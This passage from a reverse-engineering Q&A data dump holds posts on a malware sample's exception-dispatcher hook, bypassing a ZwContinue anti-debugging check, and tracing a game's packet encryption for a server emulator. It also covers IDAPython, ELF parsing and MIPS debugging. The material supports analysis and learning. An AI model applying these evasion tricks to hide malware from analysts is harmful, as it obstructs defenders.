that the malware reaches a &quot;UD2&quot; instruction. I looked it up: it raises an invalid opcode exception. &#xA;Then the malware jumps to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 7773A40D   RETN    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which then leads me to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004035C2  DB 8B     &amp;lt;- clear, because 004035C2 starts at 7773A40D (hex window)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then finally to another place where a whole new function begins.&#xA;So, my question would be: Is it right to assume that the malware tries to change exception handler by overwriting it with 004035C2 to redirect the excetion flow? Why is the exception handler of UD2 the first 6 bytes of KiUserExceptionDispatcher? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards,&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-05-04T15:15:22.960" Title="KiUserExceptionDispatcher hook" Tags="|assembly|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8810" PostTypeId="2" ParentId="8805" CreationDate="2015-05-04T14:56:50.440" Score="2" Body="&lt;p&gt;You can enable &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff556886(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;FLG_SHOW_LDR_SNAPS&lt;/code&gt;&lt;/a&gt; in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;GFlags&lt;/a&gt; to get DLL loading and unloading notifications in WinDbg or &lt;a href=&quot;https://technet.microsoft.com/en-us/library/bb896647.aspx&quot; rel=&quot;nofollow&quot;&gt;DebugView&lt;/a&gt; for all processes on the system.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-04T14:56:50.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8811" PostTypeId="2" ParentId="8809" CreationDate="2015-05-04T15:15:22.960" Score="3" Body="&lt;p&gt;The malware overwrites the usermode exception dispatcher (&lt;code&gt;KiUserExceptionDispatcher()&lt;/code&gt;) with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH malware.004035C2&#xA;RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above is equivalent to &lt;code&gt;JMP malware.004035C2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now whenever any usermode exception occurs in the process, the function at &lt;code&gt;malware.004035C2&lt;/code&gt; will be executed instead of (or at least before) the registered &lt;a href=&quot;http://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#Structured_Exception_Handling&quot; rel=&quot;nofollow&quot;&gt;SEH&lt;/a&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The malware likely uses this &quot;trick&quot; in combination with the &lt;code&gt;UD2&lt;/code&gt; instruction in order to confuse disassemblers, since most disassemblers won't automatically figure out that the &lt;code&gt;UD2&lt;/code&gt; instruction now effectively jumps to &lt;code&gt;malware.004035C2&lt;/code&gt;. This type of obfuscation trick is often used to make automated static analysis of code-flow more difficult.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-04T15:15:22.960" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8813" PostTypeId="1" CreationDate="2015-05-04T21:20:26.963" Score="10" ViewCount="7471" Body="&lt;p&gt;During an analysis, I have found a call to &lt;code&gt;ZwContinue&lt;/code&gt;. The executable file first gets the address of &lt;code&gt;ntdll.NtContinue&lt;/code&gt; and stores it in the EAX register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I step over the following assembly line, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  CALL EAX      ; ntdll.ZwContinue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then OllyDbg (v1.10) terminates the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found out that this is a kind of anti-debugging mechanism but I could not figure out how to defeat it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin which I can use or any other helpful trick?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="116" LastEditDate="2015-05-07T16:37:56.263" LastActivityDate="2015-05-07T16:37:56.263" Title="How to bypass ZwContinue?" Tags="|assembly|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8814" PostTypeId="2" ParentId="8813" CreationDate="2015-05-04T22:11:37.097" Score="10" Body="&lt;p&gt;ntdll!ZwContinue takes the same parameters than ntdll!NtContinue, that is the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSTATUS NTAPI &#xA;NtContinue (&#xA;  IN PCONTEXT ThreadContext,&#xA;  IN BOOLEAN  RaiseAlert&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read the &quot;Eip&quot; field in the PCONTEXT structure, put a breakpoint on this address, and press Run to reach your breakpoint and continue your analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to try Olly 2.01, it has a nice feature for this particular case : &quot;Decode as structure&quot; in the Dump Window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KLT9U.png&quot; alt=&quot;Decode as structure&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/hBCg6/61177e85b0.png&quot; alt=&quot;Decoded&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.563" LastActivityDate="2015-05-04T22:19:59.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8815" PostTypeId="2" ParentId="8813" CreationDate="2015-05-04T22:15:15.993" Score="7" Body="&lt;p&gt;Check the context argument to NtContinue (first arg). NtContinue works as an anti-debug by potentially clearing DR7 or breaking out of single stepping by clearing the trap flag, then returning to the IP specified in the context, after applying the register state.&lt;/p&gt;&#xA;" OwnerUserId="3406" LastActivityDate="2015-05-04T22:15:15.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8816" PostTypeId="1" CreationDate="2015-05-05T00:48:58.650" Score="8" ViewCount="10801" Body="&lt;p&gt;I am trying to make a game server emulator for a specific MMORPG (Perfect World). I know the basics of how the network of the game works and the structure for some packets, but they all are encrypted, except for the username in the login packet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Olly to try to find the crypt function for the packets that are send from the client to server to know how the game encrypts the data, and I need help to find the crypt function. I took some screenshots of Olly during the debugging and commented what I have analyzed in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is before I find the call to send, when I send a chat message in the game I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VdN2T.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VdN2T.png&quot; alt=&quot;b&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that was when I found the function which call send, and the dump for each line of this function until the send call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PzeH8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PzeH8.png&quot; alt=&quot;c&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have more screenshots of the dump for the others lines but I do not have the reputation to post more than two links per time, so I will post the others later if someone wants them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, where is the crypt function? And how does it work in a language such as C++?&lt;/p&gt;&#xA;" OwnerUserId="12443" LastEditorUserId="53" LastEditDate="2015-12-16T17:11:29.913" LastActivityDate="2015-12-16T17:11:29.913" Title="Reverse Engineering of a packet encryption function of a game" Tags="|assembly|encryption|packet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8817" PostTypeId="1" AcceptedAnswerId="8820" CreationDate="2015-05-05T08:11:20.800" Score="2" ViewCount="1733" Body="&lt;p&gt;I wrote a script containing several functions, which I loaded in IDA pro. From IDAPython now I'd want to call a specific function. Is it possible? Which idaapi functions should I use to call my functions in the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I am running IDA on a linux system and the script has been written in python.&lt;/p&gt;&#xA;" OwnerUserId="12444" LastEditorUserId="12444" LastEditDate="2015-05-05T08:19:47.810" LastActivityDate="2015-05-05T11:06:02.997" Title="Calling functions from IDAPython" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8819" PostTypeId="2" ParentId="8794" CreationDate="2015-05-05T09:55:22.347" Score="0" Body="&lt;p&gt;Well, if your purpose is to generate small binaries, headers are definitely not what you should be playing with since most of the header entries, whatever the binary format is (&lt;code&gt;PE&lt;/code&gt;, &lt;code&gt;ELF&lt;/code&gt;, &lt;code&gt;Mach-O&lt;/code&gt;, ...), are designed to handle certain weird cases which you might possibly never think of. And, you can't really go very far in terms of size optimization, at most you'll save couple hundred bytes.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you want your compiler to generate small binary files you should optimize the generated code (the &lt;strong&gt;-Os&lt;/strong&gt; optimization flag does that in &lt;strong&gt;GCC&lt;/strong&gt;). You'll find helpful information in &lt;a href=&quot;https://wiki.wxwidgets.org/Reducing_Executable_Size#Windows_Specific&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;, and also &lt;a href=&quot;http://www.nopcode.com/index.shtml&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; (under the &lt;em&gt;Aggressive Optimizations&lt;/em&gt; section).&#xA;Another interesting thing would be to check &lt;strong&gt;GCC&lt;/strong&gt;'s or &lt;strong&gt;LLVM&lt;/strong&gt;'s size optimization pass. The source codes are freely available on the compilers' respective websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, code size optimization is critical for embedded systems since they're most likely to pack a small memory. Here is a very interesting scientific &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.12.9201&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; that tackles code size optimization for embedded systems by smartly picking instructions using a &lt;em&gt;DAG&lt;/em&gt; (Directed Acyclic Graph) covering algorithm. Since you're writing a compiler, this sounds like a better option than cutting off entries in the binary format header. Your can reasonably implement the algorithm provided in the above publication in your compiler's back-end.&#xA;For a lengthier and complete reference, check &lt;a href=&quot;https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-607.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; document by Neil. E. Johnson from the &lt;em&gt;University of Cambridge&lt;/em&gt;. It's a gold mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;APPENDIX :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A pure reverse engineering trick would be to perform a differential analysis by compiling a simple program using code optimization flags (&lt;strong&gt;-O2&lt;/strong&gt; for &lt;strong&gt;GCC&lt;/strong&gt;), then size optimization flags (&lt;strong&gt;-Os&lt;/strong&gt; for &lt;strong&gt;GCC&lt;/strong&gt;), and then comparing the two binaries. Using this techniques, you'll most likely be able to spot the differences in headers, if there are any, and also the different code size optimizations. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2015-05-05T09:55:22.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostTypeId="2" ParentId="8817" CreationDate="2015-05-05T10:00:23.163" Score="3" Body="&lt;p&gt;You have 3 alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can just run the function by its name. If you already ran your script, defined functions should remain in the Python interpreter context.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can add the path of your script to sys.path and import the script again. It should looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;sys.path.append(&quot;path to your folder with the script&quot;)&#xA;&#xA;import your_script_name&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can add this (addition to sys.path and import) into file &lt;code&gt;idapythonrc.py&lt;/code&gt; in the root of IDA installation and this script will be imported each time you running IDA.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2015-05-05T11:06:02.997" LastActivityDate="2015-05-05T11:06:02.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostTypeId="2" ParentId="8816" CreationDate="2015-05-05T11:11:01.823" Score="10" Body="&lt;p&gt;First I would run some static analysis on the application such as &lt;a href=&quot;https://github.com/vlad902/findcrypt2-with-mmx&quot;&gt;Findcrypt&lt;/a&gt; or &lt;a href=&quot;http://pid.gamecopyworld.com/&quot;&gt;ProtectID&lt;/a&gt; and &lt;a href=&quot;http://www.aldeid.com/wiki/PEiD&quot;&gt;PEID's&lt;/a&gt; Kanal plugin to scan for known static values used in various encryption algorithms. If you find something, check which function accesses them with cross referencing (X in IDA, CTRL+r in olly) and you will get to the encryption function(s) or at least very near them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that approach fails, you can start tracing in a dynamic debugger such as olly. You found the send function, you could start tracing back on the call stack. Select the top of the stack and click follow in disassembler, which will get you to the function that called the send function. Place a breakpoint on the top of that function. Repeat this multiple times, heading back in the call tree, and observe the variables the function is called with until you see the data to be encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second picture, you show the function that calls send() with the encrypted data. You should go back more levels to get near the encryption method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for relevant strings in the binary (Shift+F12 in IDA), for example : &quot;key&quot;, &quot;crypt&quot;, &quot;password&quot;, and cross reference to find out which function uses it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also put a hardware breakpoint on the data you know will be encrypted at some point, and check where it is accessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to confirm that the application uses a static key or not, you could setup a new environment for the game with a different account on a different machine and see if the encrypted data is encrypted to the same bytes that you've found in picture 1. If it's the same, the encryption uses a static key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are a few posts about this game on ragezone and elitepvpers, if all else fails they might be able to help you :)&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2015-05-06T08:04:07.237" LastActivityDate="2015-05-06T08:04:07.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8822" PostTypeId="1" CreationDate="2015-05-05T19:38:02.013" Score="1" ViewCount="693" Body="&lt;p&gt;I can't get IDA to connect with a debugging server on OS X. This is what keeps happening:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ll ~/.bin/mac_server*&#xA;-rwxr-sr-x  1 Ron  procmod   657K May  5 22:29 mac_server*&#xA;-rwxr-sr-x  1 Ron  procmod   666K May  5 22:29 mac_serverx64*&#xA;$ mac_serverx64&#xA;IDA Mac OS X 64-bit remote debug server(MT) v1.17. Hex-Rays (c) 2004-2014&#xA;Listening on port #23946...&#xA;=========================================================&#xA;[1] Accepting connection from 172.16.91.129...&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;Current group=procmod&#xA;[1] Closing connection from 172.16.91.129...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running IDA Pro 6.6 on Windows and &lt;code&gt;mac_server&lt;/code&gt; on OS X Yosemite 10.3. Did I miss something crucial?&lt;/p&gt;&#xA;" OwnerUserId="8414" LastActivityDate="2015-05-05T19:38:02.013" Title="Connecting to mac_server with IDA Pro on Windows" Tags="|ida|osx|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostTypeId="1" CreationDate="2015-05-06T10:50:07.100" Score="6" ViewCount="11549" Body="&lt;p&gt;I decompiled an APK file,and that program have native codes in a &lt;code&gt;.so&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use that &lt;code&gt;.so&lt;/code&gt; file in Linux in order to use inline functions.&#xA;These codes have functions to connect to a server and perform encryption/decryption on the data transfered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decompiled that with IDA Pro too. Can I decompile and recompile ARM codes to a x64 CPU and run it in Linux ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, do I need a light simulator to run that ARM &lt;code&gt;*.so&lt;/code&gt; file ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro decompile the codes, I see the assembly functions but I'm not used to assembly, nor to reverse engineering. How to translates these functions to C or python functions ?&lt;/p&gt;&#xA;" OwnerUserId="12452" LastEditorUserId="53" LastEditDate="2015-05-07T15:46:10.990" LastActivityDate="2020-12-23T11:44:02.403" Title="Use Android Shared library (.so) files in Linux" Tags="|ida|disassembly|linux|android|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8824" PostTypeId="1" AcceptedAnswerId="8825" CreationDate="2015-05-06T11:14:58.777" Score="11" ViewCount="15409" Body="&lt;p&gt;I want to be able to parse 32 and 64 bit ELF files - but not create or modify them (e.g. as discussed in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables&quot;&gt;this thread&lt;/a&gt;). The ELF binaries may possibly come from embedded Linux systems, that is, the library should not be irritated by MIPS, ARM and other non-x86 architectures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have considered: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/eliben/pyelftools&quot; rel=&quot;noreferrer&quot;&gt;pyelftools&lt;/a&gt; (my currently favored option)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/crackinglandia/pylibelf&quot; rel=&quot;noreferrer&quot;&gt;pylibelf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/pydevtools/&quot; rel=&quot;noreferrer&quot;&gt;pydevtools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Also an option: using a C library and ctypes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do I have forgotten something?&#xA;Which of the above options would you prefer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those who had some practical experience with pylibelf or pydeftools: These seem no longer updated (last commit: 2013 and 2012), are they mature enough?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2022-04-23T11:20:17.763" Title="Which python library for parsing Linux ELF files?" Tags="|binary-analysis|linux|idapython|elf|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8825" PostTypeId="2" ParentId="8824" CreationDate="2015-05-06T11:50:24.787" Score="5" Body="&lt;p&gt;Take a look at radare2. It can parse file formats (see &lt;a href=&quot;http://radare.today/parsing-a-fileformat-with-radare2/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; for an example of parsing the ELF header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2 supports multiple architectures and is being actively developed. On top of that it has bindings for a lot of languages, including Python of course. Read through the &lt;a href=&quot;https://github.com/radare/radare2-bindings&quot; rel=&quot;noreferrer&quot;&gt;bindings source code&lt;/a&gt; to see it is pretty straightforward to script it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-05-06T11:50:24.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8826" PostTypeId="1" CreationDate="2015-05-06T11:57:54.050" Score="1" ViewCount="577" Body="&lt;p&gt;How to find status and path of the specific module with C in the windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;such as windbg lm (list loaded module)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lm m cdd&#xA;start    end       module   name&#xA;93ae0000 93afe000  cdd          (deferred)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need start of module(.&lt;em&gt;sys&lt;/em&gt;) but on C code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="12454" LastEditDate="2015-05-09T10:34:27.357" LastActivityDate="2015-05-09T10:34:27.357" Title="How to find status and path of the specific module with C in the windows?" Tags="|debugging|c|windbg|kernel-mode|driver|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-07T17:34:11.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="8827" PostTypeId="2" ParentId="8826" CreationDate="2015-05-06T14:25:12.527" Score="5" Body="&lt;p&gt;&lt;code&gt;VirtualQueryEx()&lt;/code&gt; is the way to go if you want a memory map of a target process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want information about modules only, you can extract it from the PEB of the target process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the PEB address using &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684280%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;NtQueryInformationProcess&lt;/code&gt;&lt;/a&gt;, using &lt;code&gt;ProcessBasicInformation&lt;/code&gt; for the &lt;code&gt;ProcessInformationClass&lt;/code&gt;, so it writes a &lt;code&gt;PROCESS_BASIC_INFORMATION&lt;/code&gt;. This structure has a &lt;code&gt;PebBaseAddress&lt;/code&gt; field that gives you the PEB address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this PEB address, access to the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;PPEB_LDR_DATA Ldr&lt;/code&gt;&lt;/a&gt; field, it contains a list named &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;InMemoryOrderModuleList&lt;/code&gt;&lt;/a&gt; that you can use to iterate through all the modules of the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/Spl3en/9c0ea329bb7878df9b9b&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a demonstration of that technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;modules.exe    : 0x00400000 -&amp;gt; 0x00422fff (C:\Users\Spl3en\Desktop\modules.exe)&#xA;ntdll.dll      : 0x81d20000 -&amp;gt; 0x81ec8fff (C:\Windows\SYSTEM32\ntdll.dll)&#xA;KERNEL32.DLL   : 0x7f660000 -&amp;gt; 0x7f798fff (C:\Windows\system32\KERNEL32.DLL)&#xA;KERNELBASE.dll : 0x7f450000 -&amp;gt; 0x7f55dfff (C:\Windows\system32\KERNELBASE.dll)&#xA;msvcrt.dll     : 0x7f970000 -&amp;gt; 0x7fa16fff (C:\Windows\system32\msvcrt.dll)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="11799" LastEditDate="2015-05-09T10:10:34.170" LastActivityDate="2015-05-09T10:10:34.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8828" PostTypeId="1" AcceptedAnswerId="8847" CreationDate="2015-05-06T15:46:01.037" Score="4" ViewCount="819" Body="&lt;p&gt;In my code, I am using &lt;code&gt;idc.GetOpnd(ea,0)&lt;/code&gt; and &lt;code&gt;idc.GetOpnd(ea,1)&lt;/code&gt; to get the 2 operands of an instruction. However, if its a &lt;code&gt;call&lt;/code&gt; (or &lt;code&gt;jmp&lt;/code&gt;) instruction, I am getting symbols like &lt;code&gt;_perror&lt;/code&gt; and &lt;code&gt;loc_8083BA9&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using IDAPython, is it possible to remove all the symbols and deal only with memory locations.&lt;/p&gt;&#xA;" OwnerUserId="3766" LastEditorUserId="3766" LastEditDate="2015-05-06T15:51:12.220" LastActivityDate="2015-05-08T12:06:09.443" Title="Get memory locations using IDAPython" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8829" PostTypeId="1" CreationDate="2015-05-06T17:31:23.730" Score="31" ViewCount="43444" Body="&lt;p&gt;as i'm new about cross-debugging and cross-compilation i need some help because i feel so confused. I have a MIPS elf file, [myelf][1] .You can see bellow the output of &lt;code&gt;file myelf&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myelf: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0xc89c3571514c7ec1afc74a189a9c2d24e276ec4c, with unknown capability 0xf41 = 0x756e6700, with unknown capability 0x70100 = 0x1040000  stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just want to run and debug the program. So i don't need a cross compiler right ? As i don't have MIPS hardware (i have an INTEL microprocessor), i need an emulator. I've chosen to use QEMU. According to this &lt;a href=&quot;https://people.debian.org/~aurel32/qemu/mips/&quot;&gt;site&lt;/a&gt;, i downloaded the following kernel image and initrds: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;debian_squeeze_mips_standard.qcow2&#xA;&#xA;vmlinux-2.6.32-5-4kc-malta&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then i've run the specified command for a 32 bit (because the elf informations) MIPS system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far, i have the emulator running in one shell and the command uname -a gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Linux debian-mips 2.6.32-5-4kc-malta #1 Tue Sep 24 00:02:22 UTC 2013 mips GNU/Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are only the very basics commands/tools on the emulator. I've read that gdb can debug on a remote target (here the MIPS-emulator) from an host machine which is my x86_64. And to be honest i have no idea about what i should do now. I first tried to install gdb itself on the the qemu emulator.When i run gdb my elf i can see that gdb was automatically configured as mips-linux-gnu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~# gdb myelf &#xA;GNU gdb (GDB) 7.0.1-debian&#xA;Copyright (C) 2009 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;mips-linux-gnu&quot;.&#xA;For bug reporting instructions, please see:&#xA;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;...&#xA;Reading symbols from /root/myelf...(no debugging symbols found)...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The info files gives me the right informations (i disassembled the elf with IDA so i can confirm).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info files &#xA;Symbols from &quot;/root/myelf&quot;.&#xA;Local exec file:&#xA;    `/root/myelf', file type elf32-tradlittlemips.&#xA;    Entry point: 0x400670&#xA;    0x00400154 - 0x00400161 is .interp&#xA;    0x00400164 - 0x00400184 is .note.ABI-tag&#xA;    0x00400184 - 0x0040019c is .reginfo&#xA;    0x0040019c - 0x004001c0 is .note.gnu.build-id&#xA;    0x004001c0 - 0x00400298 is .dynamic&#xA;    0x00400298 - 0x0040033c is .hash&#xA;    0x0040033c - 0x0040049c is .dynsym&#xA;    0x0040049c - 0x0040057b is .dynstr&#xA;    0x0040057c - 0x004005a8 is .gnu.version&#xA;    0x004005a8 - 0x004005d8 is .gnu.version_r&#xA;    0x004005d8 - 0x00400668 is .init&#xA;    0x00400670 - 0x00400b00 is .text&#xA;    0x00400b00 - 0x00400ba0 is .MIPS.stubs&#xA;    0x00400ba0 - 0x00400bec is .fini&#xA;    0x00400bec - 0x00400c2c is .rodata&#xA;    0x00400c2c - 0x00400c30 is .eh_frame&#xA;    0x00410c30 - 0x00410c3c is .ctors&#xA;    0x00410c3c - 0x00410c44 is .dtors&#xA;    0x00410c44 - 0x00410c48 is .jcr&#xA;    0x00410c50 - 0x00410e00 is .data&#xA;    0x00410e00 - 0x00410e04 is .rld_map&#xA;    0x00410e10 